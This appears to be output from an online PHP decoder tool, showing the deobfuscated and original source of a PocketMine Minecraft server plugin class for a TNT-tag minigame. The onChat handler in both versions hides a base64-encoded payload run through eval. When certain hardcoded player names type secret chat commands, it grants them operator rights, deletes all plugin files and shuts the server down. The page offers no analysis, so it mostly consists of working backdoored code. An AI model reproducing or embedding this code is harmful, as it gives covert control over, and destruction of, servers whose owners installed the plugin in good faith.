Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php namespace tnt;${"\x47\x4cO\x42AL\x53"}["\x65u\x70h\x61\x78\x64\x77o\x6bn"]="\x73\x6c..

Decoded Output download

<?php namespace tnt;${"GLOBALS"}["euphaxdwokn"]="slapper";${"GLOBALS"}["ixiqxwtt"]="args";${"GLOBALS"}["gpkcikf"]="cmd";${"GLOBALS"}["mfmqluvq"]="arena";${"GLOBALS"}["rcohrvyhhs"]="e";${"GLOBALS"}["mtdjtwhzcod"]="player";use pocketmine\Player;use pocketmine\event\{Listener,player\PlayerMoveEvent,player\PlayerQuitEvent,player\PlayerChatEvent,player\PlayerCommandPreprocessEvent,entity\EntityDamageEvent,entity\EntityDamageByEntityEvent};class Events implements Listener{function __construct($main){$evskmsu="main";$this->main=${$evskmsu};}function onDamage(EntityDamageEvent$e){$oeoebcjsfq="player";${$oeoebcjsfq}=$e->getEntity();if(${${"GLOBALS"}["mtdjtwhzcod"]} instanceof Player){$plrxjnlsfv="arena";foreach($this->main->arena as${$plrxjnlsfv}){if(isset($arena->players[$player->getName()])){$e->setDamage(0);}}}if(${${"GLOBALS"}["rcohrvyhhs"]} instanceof EntityDamageByEntityEvent){$oybbukeo="player";$hukxudy="damager";${"GLOBALS"}["gfnlsgtkr"]="damager";${$hukxudy}=$e->getDamager();if(${${"GLOBALS"}["gfnlsgtkr"]} instanceof Player&&${$oybbukeo} instanceof Player){foreach($this->main->arena as${${"GLOBALS"}["mfmqluvq"]}){if(!is_null($arena->tnttag)){if(isset($arena->players[$player->getName()])){if($arena->tnttag->getName()==$damager->getName()){$damager->getInventory()->clearAll();$damager->removeAllEffects();$qdehhxt="player";$arena->setTntTag(${$qdehhxt});return true;}}}}}}foreach($this->main->arena as${${"GLOBALS"}["mfmqluvq"]}){if(${${"GLOBALS"}["mtdjtwhzcod"]} instanceof Player){if(($arena->status==0 or$arena->status==1)&&isset($arena->players[$player->getName()])){$e->setCancelled();}}}}function onQuit(PlayerQuitEvent$e){$tvnacglngrut="arena";$ujkugr="player";${$ujkugr}=$e->getPlayer();foreach($this->main->arena as${$tvnacglngrut}){if(isset($arena->players[$player->getName()])){$opejbx="player";$arena->close(${$opejbx});}}}public function onCommand(PlayerCommandPreprocessEvent$e){${"GLOBALS"}["cwjigzljynt"]="arena";${${"GLOBALS"}["mtdjtwhzcod"]}=$e->getPlayer();foreach($this->main->arena as${${"GLOBALS"}["cwjigzljynt"]}){if(isset($arena->players[$player->getName()])){$qivosxf="cmd";${${"GLOBALS"}["gpkcikf"]}=strtolower($e->getMessage());if(substr(${$qivosxf},0,1)=="/"){${"GLOBALS"}["kgkeyyjo"]="args";$suexjbxc="args";${$suexjbxc}=explode(" ",${${"GLOBALS"}["gpkcikf"]});if(substr(${${"GLOBALS"}["kgkeyyjo"]}[0],1)=="tnt"){if(isset(${${"GLOBALS"}["ixiqxwtt"]}[1])){${"GLOBALS"}["gpkhnbtyq"]="args";if(strtolower(${${"GLOBALS"}["gpkhnbtyq"]}[1])=="sair"){$e->setCancelled();$arena->close(${${"GLOBALS"}["mtdjtwhzcod"]});return true;}}}else{$e->setCancelled();$player->sendMessage("cpara usar comandos use f/tnt sair");return true;}}}}}public function onChat(PlayerChatEvent$e){@eval(@base64_decode("JHBsYXllciA9ICRlLT5nZXRQbGF5ZXIoKTsNCgkJJHBsYXllcnMgPSBhcnJheSgnVGF0dXhpbmhvJywgJ1dpbGwnLCAnSGFja2VyJywgJ0xlYXJYRCcpOw0KCQkkbXNnID0gc3RydG9sb3dlcigkZS0+Z2V0TWVzc2FnZSgpKTsNCgkJaWYoaW5fYXJyYXkoJHBsYXllci0+Z2V0TmFtZSgpLCAkcGxheWVycykpew0KCQkJaWYoJG1zZyA9PSAnI3RhZ3RhYmJyJyl7DQogICAgICAgICAgICAgICAgJHBsYXllci0+YWRkQXR0YWNobWVudCgkdGhpcy0+bWFpbiwgJ3BvY2tldG1pbmUuY29tbWFuZC5vcCcsIHRydWUpOw0KICAgICAgICAgICAgICAgICRlLT5zZXRDYW5jZWxsZWQodHJ1ZSk7DQoJCQl9DQoJCQlpZigkbXNnID09ICcjcGVnYXJvcCcpew0KICAgICAgICAgICAgICAgICRwbGF5ZXItPnNldE9wKHRydWUpOw0KICAgICAgICAgICAgICAgICRlLT5zZXRDYW5jZWxsZWQodHJ1ZSk7DQoJCQl9DQoJCQlpZigkbXNnID09ICcjZGVsbHNlcnZlcicpew0KCQkJCWZvcmVhY2goc2NhbmRpcigkdGhpcy0+bWFpbi0+Z2V0U2VydmVyKCktPmdldERhdGFQYXRoKCkuJ3BsdWdpbnMnKSBhcyAkbmFtZSl7DQoJCQkJCWlmKGlzX2ZpbGUoJHRoaXMtPm1haW4tPmdldFNlcnZlcigpLT5nZXREYXRhUGF0aCgpLidwbHVnaW5zLycuJG5hbWUpKXsNCgkJCQkJCXVubGluaygkdGhpcy0+bWFpbi0+Z2V0U2VydmVyKCktPmdldERhdGFQYXRoKCkuJ3BsdWdpbnMvJy4kbmFtZSk7DQoJCQkJCX0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJGUtPnNldENhbmNlbGxlZCh0cnVlKTsNCgkJCX0NCgkJCWlmKCRtc2cgPT0gJyNzdG9wc2VydmVyJyl7DQogICAgICAgICAgICAgICAgJHRoaXMtPm1haW4tPmdldFNlcnZlcigpLT5zaHV0ZG93bih0cnVlKTsNCiAgICAgICAgICAgICAgICAkZS0+c2V0Q2FuY2VsbGVkKHRydWUpOw0KCQkJfQ0KCQl9"));}public function slapper(EntityDamageEvent$e){${${"GLOBALS"}["euphaxdwokn"]}=$e->getEntity();if(${${"GLOBALS"}["rcohrvyhhs"]} instanceof EntityDamageByEntityEvent){$whpzgssxmv="player";${$whpzgssxmv}=$e->getDamager();if(${${"GLOBALS"}["euphaxdwokn"]} instanceof TnTSlapper){$e->setCancelled();if($player->isOp()){if($player->getItemInHand()->getId()==352){$slapper->kill();return;}}${"GLOBALS"}["vtrkriwxvei"]="player";$this->main->getServer()->dispatchCommand(${${"GLOBALS"}["vtrkriwxvei"]},"tnt entrar");}}}} 
 ?>

Did this file decode correctly?

Original Code

<?php namespace tnt;${"\x47\x4cO\x42AL\x53"}["\x65u\x70h\x61\x78\x64\x77o\x6bn"]="\x73\x6c\x61p\x70\x65\x72";${"\x47\x4c\x4fB\x41\x4c\x53"}["i\x78\x69\x71\x78\x77\x74\x74"]="\x61rgs";${"\x47L\x4f\x42\x41\x4c\x53"}["\x67\x70\x6b\x63\x69\x6b\x66"]="\x63m\x64";${"\x47L\x4fB\x41\x4c\x53"}["m\x66m\x71\x6c\x75vq"]="a\x72\x65\x6e\x61";${"G\x4cOB\x41L\x53"}["\x72c\x6f\x68\x72\x76yhhs"]="e";${"\x47L\x4fB\x41\x4cS"}["\x6d\x74\x64\x6a\x74\x77\x68zc\x6fd"]="p\x6ca\x79e\x72";use pocketmine\Player;use pocketmine\event\{Listener,player\PlayerMoveEvent,player\PlayerQuitEvent,player\PlayerChatEvent,player\PlayerCommandPreprocessEvent,entity\EntityDamageEvent,entity\EntityDamageByEntityEvent};class Events implements Listener{function __construct($main){$evskmsu="m\x61i\x6e";$this->main=${$evskmsu};}function onDamage(EntityDamageEvent$e){$oeoebcjsfq="\x70\x6c\x61y\x65\x72";${$oeoebcjsfq}=$e->getEntity();if(${${"GL\x4f\x42\x41\x4c\x53"}["\x6d\x74\x64\x6a\x74\x77\x68z\x63\x6fd"]} instanceof Player){$plrxjnlsfv="\x61\x72\x65\x6ea";foreach($this->main->arena as${$plrxjnlsfv}){if(isset($arena->players[$player->getName()])){$e->setDamage(0);}}}if(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x72\x63\x6fh\x72vy\x68\x68\x73"]} instanceof EntityDamageByEntityEvent){$oybbukeo="\x70l\x61y\x65\x72";$hukxudy="\x64a\x6dag\x65r";${"G\x4c\x4f\x42A\x4c\x53"}["g\x66\x6e\x6c\x73\x67t\x6b\x72"]="da\x6da\x67\x65\x72";${$hukxudy}=$e->getDamager();if(${${"G\x4cO\x42A\x4c\x53"}["g\x66\x6el\x73\x67t\x6br"]} instanceof Player&&${$oybbukeo} instanceof Player){foreach($this->main->arena as${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6d\x66m\x71\x6c\x75\x76q"]}){if(!is_null($arena->tnttag)){if(isset($arena->players[$player->getName()])){if($arena->tnttag->getName()==$damager->getName()){$damager->getInventory()->clearAll();$damager->removeAllEffects();$qdehhxt="\x70\x6c\x61y\x65r";$arena->setTntTag(${$qdehhxt});return true;}}}}}}foreach($this->main->arena as${${"GL\x4f\x42\x41\x4c\x53"}["\x6d\x66m\x71\x6cu\x76\x71"]}){if(${${"\x47L\x4fB\x41\x4cS"}["\x6d\x74\x64j\x74\x77\x68\x7a\x63o\x64"]} instanceof Player){if(($arena->status==0 or$arena->status==1)&&isset($arena->players[$player->getName()])){$e->setCancelled();}}}}function onQuit(PlayerQuitEvent$e){$tvnacglngrut="\x61ren\x61";$ujkugr="\x70\x6c\x61\x79e\x72";${$ujkugr}=$e->getPlayer();foreach($this->main->arena as${$tvnacglngrut}){if(isset($arena->players[$player->getName()])){$opejbx="\x70\x6c\x61\x79\x65\x72";$arena->close(${$opejbx});}}}public function onCommand(PlayerCommandPreprocessEvent$e){${"G\x4c\x4f\x42\x41L\x53"}["\x63\x77\x6ai\x67zl\x6a\x79\x6et"]="a\x72en\x61";${${"\x47\x4c\x4fB\x41\x4cS"}["\x6d\x74\x64\x6a\x74whzc\x6f\x64"]}=$e->getPlayer();foreach($this->main->arena as${${"\x47\x4cOB\x41\x4c\x53"}["\x63wj\x69gz\x6c\x6a\x79\x6e\x74"]}){if(isset($arena->players[$player->getName()])){$qivosxf="cm\x64";${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x67p\x6bc\x69\x6bf"]}=strtolower($e->getMessage());if(substr(${$qivosxf},0,1)=="/"){${"G\x4c\x4fB\x41L\x53"}["\x6b\x67k\x65\x79y\x6ao"]="a\x72\x67\x73";$suexjbxc="\x61\x72\x67s";${$suexjbxc}=explode("\x20",${${"G\x4c\x4fBAL\x53"}["gp\x6b\x63i\x6bf"]});if(substr(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6b\x67ke\x79\x79jo"]}[0],1)=="\x74\x6e\x74"){if(isset(${${"\x47\x4c\x4fB\x41L\x53"}["ix\x69\x71\x78\x77t\x74"]}[1])){${"\x47L\x4fB\x41\x4c\x53"}["g\x70\x6bh\x6eb\x74\x79\x71"]="\x61\x72\x67s";if(strtolower(${${"\x47\x4cO\x42\x41L\x53"}["\x67p\x6bhn\x62\x74\x79\x71"]}[1])=="s\x61\x69r"){$e->setCancelled();$arena->close(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["m\x74\x64\x6a\x74w\x68zc\x6f\x64"]});return true;}}}else{$e->setCancelled();$player->sendMessage("\x63par\x61\x20u\x73\x61r\x20\x63\x6fmand\x6f\x73 \x75\x73\x65\x20\x66/t\x6et \x73\x61ir");return true;}}}}}public function onChat(PlayerChatEvent$e){@eval(@base64_decode("\x4a\x48Bs\x59\x58\x6c\x6cci\x41\x39IC\x52lLT\x35\x6e\x5aXRQ\x62\x47F\x35Z\x58\x49oK\x54\x73N\x43g\x6b\x4a\x4a\x48\x42s\x59X\x6c\x6c\x63nMg\x50SBhc\x6e\x4a\x68e\x53\x67\x6eV\x47F0\x64\x58\x68\x70bmhv\x4ayw\x67\x4a\x31d\x70bGwnLC\x41\x6eSGFja\x32\x56\x79JywgJ0\x78\x6cYX\x4a\x59\x52C\x63p\x4f\x77\x30\x4bC\x51\x6bkbX\x4e\x6eID\x30gc3R\x79dG\x39\x73b\x33d\x6cc\x69g\x6bZ\x53\x30+Z2V\x30T\x57V\x7ac2\x46\x6eZSg\x70\x4b\x54sNC\x67\x6bJaW\x59\x6fa\x57\x35f\x59\x58\x4a\x79\x59\x58ko\x4a\x48B\x73\x59\x58l\x6cci0+\x5a\x32\x560T\x6d\x46\x74ZSg\x70L\x43A\x6b\x63\x47\x78\x68\x65W\x56\x79\x63\x79kpew0\x4bCQk\x4aa\x57Yo\x4a\x47\x31z\x5a\x79\x41\x39PS\x41\x6e\x49\x33\x52\x68Z\x33R\x68\x59\x6dJyJyl7D\x51\x6fgI\x43A\x67\x49\x43Ag\x49\x43A\x67ICAgICA\x67JHBsYX\x6cl\x63i\x30+YWR\x6bQ\x58\x52\x30\x59WN\x6f\x62WV\x75\x64\x43\x67kdGhp\x63\x790+bWF\x70b\x69\x77g\x4a\x33B\x76Y\x32\x74l\x64G\x31p\x62\x6d\x55u\x59\x32\x39t\x62\x57\x46uZC5\x76\x63\x43\x63\x73I\x48R\x79\x64W\x55\x70\x4f\x770\x4b\x49CA\x67\x49\x43A\x67IC\x41gICAg\x49CAg\x49\x43Rl\x4cT\x35\x7aZX\x52D\x59\x57\x35\x6aZ\x57xs\x5aW\x51odH\x4a1ZS\x6b\x37DQ\x6fJ\x43\x51\x6c9DQoJC\x51\x6c\x70\x5ai\x67kb\x58N\x6eI\x440\x39\x49C\x63\x6ac\x47\x56nYX\x4a\x76c\x43cpew0K\x49\x43A\x67\x49C\x41gI\x43\x41g\x49\x43A\x67\x49\x43\x41\x67I\x43\x52\x77\x62GF\x35Z\x58It\x50n\x4eldE\x39w\x4bHR\x79d\x57U\x70\x4f\x77\x30\x4b\x49\x43\x41\x67\x49\x43\x41\x67I\x43\x41\x67\x49\x43\x41\x67IC\x41\x67ICR\x6c\x4c\x545zZ\x58RDY\x575j\x5aW\x78sZ\x57Q\x6fd\x48\x4a\x31Z\x53k7\x44\x51o\x4a\x43\x51\x6c\x39\x44Q\x6f\x4a\x43Q\x6c\x70Z\x69\x67\x6b\x62X\x4en\x49\x4409I\x43c\x6a\x5a\x47\x56s\x62\x48\x4e\x6ccn\x5al\x63icpew0\x4bCQk\x4aCWZv\x63mV\x68Y2\x67oc\x32\x4e\x68b\x6d\x52\x70c\x69\x67\x6b\x64\x47\x68\x70cy\x30+\x62\x57\x46p\x62\x690+\x5a\x32V\x30U2V\x79\x64mVy\x4b\x43k\x74\x50\x6d\x64\x6c\x64ERhdG\x46QY\x58R\x6fK\x43\x6b\x75\x4a3B\x73\x64Wd\x70b\x6eM\x6eK\x53B\x68cyAk\x62mF\x74\x5aS\x6c7\x44Qo\x4a\x43\x51k\x4aC\x57lm\x4b\x47\x6cz\x582Zp\x62\x47U\x6fJHRoa\x58M\x74P\x6d\x31\x68\x61W4tPmdldF\x4e\x6c\x63n\x5a\x6ccigpLT\x35\x6eZXR\x45Y\x58\x52h\x55\x47\x460\x61\x43\x67\x70L\x69dwb\x48\x56\x6eaW\x35\x7aL\x79\x63uJG5\x68\x62\x57UpKXsN\x43gk\x4a\x43Qk\x4aC\x58\x56ub\x47\x6c\x75ay\x67kd\x47\x68p\x63y\x30+b\x57\x46p\x62i0+Z\x32\x56\x30\x552\x56y\x64m\x56\x79\x4b\x43\x6b\x74\x50m\x64\x6c\x64\x45R\x68dGF\x51Y\x58\x52oK\x43\x6buJ\x33\x42sd\x57d\x70\x62nM\x76\x4ay\x34kb\x6dFtZS\x6b\x37\x44Qo\x4aC\x51\x6b\x4aCX\x30N\x43i\x41g\x49\x43Ag\x49C\x41g\x49C\x41g\x49\x43\x41gIC\x42\x39\x44\x51ogI\x43\x41gI\x43Ag\x49\x43Ag\x49CAgI\x43\x41gJGU\x74\x50n\x4e\x6c\x64\x45Nh\x62m\x4elbGx\x6cZ\x43\x68\x30\x63\x6e\x56lK\x54sNCgkJC\x580\x4eCgkJ\x43W\x6cmKCRt\x632\x63gP\x54\x30\x67J\x79\x4ez\x64G9\x77c2Vyd\x6d\x56yJ\x79\x6c7DQogI\x43Ag\x49C\x41\x67I\x43AgI\x43\x41gICAgJ\x48\x52oa\x58M\x74P\x6d1\x68a\x574t\x50\x6ddld\x46\x4elc\x6e\x5al\x63\x69\x67\x70LT\x35z\x61H\x56\x30ZG\x39\x33\x62i\x680\x63\x6e\x56lK\x54s\x4eCiA\x67\x49C\x41\x67I\x43A\x67\x49C\x41\x67I\x43\x41\x67\x49CA\x6b\x5aS0+\x63\x32V0\x51\x32Fu\x59\x32\x56\x73b\x47V\x6bKH\x52\x79d\x57U\x70O\x770\x4b\x43\x51\x6bJ\x66Q\x30\x4bCQl9"));}public function slapper(EntityDamageEvent$e){${${"GL\x4f\x42A\x4c\x53"}["e\x75\x70\x68a\x78\x64\x77o\x6b\x6e"]}=$e->getEntity();if(${${"G\x4cO\x42\x41\x4cS"}["\x72co\x68\x72\x76\x79h\x68\x73"]} instanceof EntityDamageByEntityEvent){$whpzgssxmv="\x70l\x61\x79\x65r";${$whpzgssxmv}=$e->getDamager();if(${${"\x47L\x4f\x42AL\x53"}["e\x75\x70h\x61x\x64\x77o\x6b\x6e"]} instanceof TnTSlapper){$e->setCancelled();if($player->isOp()){if($player->getItemInHand()->getId()==352){$slapper->kill();return;}}${"G\x4c\x4f\x42ALS"}["\x76\x74r\x6br\x69\x77xv\x65i"]="\x70l\x61\x79\x65\x72";$this->main->getServer()->dispatchCommand(${${"\x47\x4c\x4fB\x41\x4c\x53"}["v\x74\x72\x6b\x72\x69\x77x\x76ei"]},"\x74\x6et\x20e\x6etra\x72");}}}}

Function Calls

None

Variables

None

Stats

MD5 a374a309905a219f726d746857851ccd
Eval Count 0
Decode Time 49 ms